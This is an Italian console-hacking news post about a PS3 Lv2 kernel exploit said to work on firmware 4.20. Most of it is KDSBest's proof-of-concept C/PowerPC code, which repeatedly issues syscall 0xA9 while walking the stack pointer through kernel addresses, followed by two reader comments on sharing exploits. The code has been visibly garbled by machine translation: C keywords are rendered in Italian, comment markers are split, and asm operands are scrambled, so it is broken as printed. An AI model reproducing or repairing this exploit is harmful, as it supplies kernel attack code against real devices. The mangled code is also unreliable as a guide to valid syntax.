In giornata vi abbiamo postato la news in cui Naehrwert ha scoperto un exploit del Lv2_kernel della PS3 (LEGGI ARTICOLO). La news ha già fatto il giro tra vari sviluppatori. Sviluppatori che si sono messi in moto per studiare cosa è veramente ottenibile con tale scoperta.
Il primo a parlare è KDSBest, altro noto developed, che, utilizzando le informazioni rilasciate da Naehrwert, ha annunciato che l’exploit funziona su firmware 4.20, ma non su 4.21.

Codice:
/ / Compile: PPU-gcc-o kds2.c kds2.elf
/ / O: PPU-LV2-gcc-o kds2.c kds2.elfRegistrazione unsigned long long payloadHolder2 asm (“r21”);
Registrazione unsigned long long payloadHolder asm (“r20”);
Registrazione unsigned long long stackpointer asm (“r1”);
Registrazione unsigned long long contatore asm (“R25”);
Registrazione unsigned long long bufferStackpointer asm (“R26”);volatile__ __ int main (int argc, char * argv [])
{
/ Stack pointer / backup
bufferStackpointer = stackpointer;payloadHolder = 0x3960024F3960024FUL;
payloadHolder2 = 0x4400000244000002UL;/ / Contatore incrementale
contatore = 0x00;/ / Gioca con tale indirizzo fino al panico viene eseguito, mi manca il tempo todo modo
/ / Aggiunge sempre 2 o 4 ad esso, vorrei provare 4 o 8 … bla bla si otterrà l’idea
stackpointer = 0x8000000000000100UL;
doItAgain:
/ / Carico utile KDSBest
/ / Prepara per il nostro Syscallasm (“li r0%, 0x0”);
asm (“r3% li, 0x6”);
asm (“li% r4, 0x1”);
/ / Li r11, 0x24F -> PANIC
asm (“mr% r22, r20%”);
asm (“mr% r23, r20%”);
asm (“mr% r24, r20%”);
asm (“mr% r27, r20%”);
asm (“r28% mr, r20%”);
asm (“mr% r29, r20%”);
asm (“mr% r30, r20%”);
asm (“mr% r31, r20%”);/ / Stack Pointer = Build Indirizzo di LV2
stackpointer + = contatore;/ / Syscall 0xA9
asm (“li% r11, 0xA9”);
asm (“sc”);
contatore + = 0x04;/ / Scriviamo sc
asm (“mr% r22, r21%”);
asm (“mr% r23, r21%”);
asm (“mr% r24, r21%”);
asm (“mr% r27, r21%”);
asm (“mr% r28, r21%”);
asm (“mr% r29, r21%”);
asm (“mr% r30, r21%”);
asm (“mr% r31, r21%”);/ / Stack Pointer = Build Indirizzo di LV2
stackpointer + = contatore;/ / Syscall 0xA9
asm (“li% r11, 0xA9”);
asm (“sc”);
contatore + = 0x04;if (contatore <0x1000000)
goto doItAgain;stackpointer = bufferStackpointer;
return 0;
}
La storia non finisce quindi, il progetto va avanti, chissà dove ci porterà.
Stay Tuned!
Bello… Bellissimo!!! ma pubblicare tutte queste info a cuor leggero non è un aiuto più efficace per sony che per noi altri??
Beh, da una parte sicuramente, ma lavorare nell’ombra è abbastanza complicato… o sei un genio, che riesci a fare tutto da solo, oppure la scena ha bisogno di condivisione e aiuto da parte di tutti
meglio la condivisione…no?